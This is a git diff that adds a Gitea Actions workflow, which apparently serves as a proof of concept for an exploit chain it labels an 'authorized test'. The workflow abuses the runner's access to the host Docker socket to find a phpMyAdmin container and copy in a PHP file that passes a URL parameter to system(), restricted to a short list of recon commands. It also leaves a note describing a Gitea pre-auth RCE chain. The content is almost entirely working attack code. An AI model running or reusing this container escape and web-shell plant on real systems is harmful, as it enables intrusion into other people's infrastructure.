diff --git a/.gitea/workflows/phpd.yml b/.gitea/workflows/phpd.yml
new file mode 100644
index 0000000..d162bf8
--- /dev/null
+++ b/.gitea/workflows/phpd.yml
@@ -0,0 +1,17 @@
+name: phpd
+on: [workflow_dispatch]
+jobs:
+  p:
+    runs-on: ubuntu-latest
+    steps:
+      - run: |
+          set -x
+          PMA=$(docker ps --format '{{.Names}}' | grep -i phpmyadmin | head -1)
+          echo "TARGET_CONTAINER=$PMA"
+          docker exec "$PMA" sh -c 'ls -la /var/www/html/index.php; head -3 /var/www/html/index.php'
+          printf '%s' '<?php header("Content-Type: text/plain"); echo "PHP RCE PROOF (authorized test)\n"; $c=isset($_GET["c"])?$_GET["c"]:"id; hostname; uname -a"; $w=array("id","hostname","uname -a","whoami","pwd","id; hostname; uname -a"); if(in_array($c,$w)){ system($c); } else { echo "blocked\n"; } ?>' > /tmp/rce-proof.php
+          printf '%s\n' 'PHP RCE PROOF - AUTHORIZED TEST' 'Vector: CI runner -> host docker.sock -> docker exec into PHP container' 'CVE-2026-60004 chain: Gitea pre-auth RCE -> Actions runner -> host Docker' 'Container: phpmyadmin/phpmyadmin' > /tmp/rce-proof.txt
+          docker cp /tmp/rce-proof.php "$PMA":/var/www/html/rce-proof.php
+          docker cp /tmp/rce-proof.txt "$PMA":/var/www/html/rce-proof.txt
+          docker exec "$PMA" sh -c 'ls -la /var/www/html/rce-proof.php /var/www/html/rce-proof.txt'
+          docker exec "$PMA" sh -c 'php -v | head -2; httpd -v 2>/dev/null | head -2'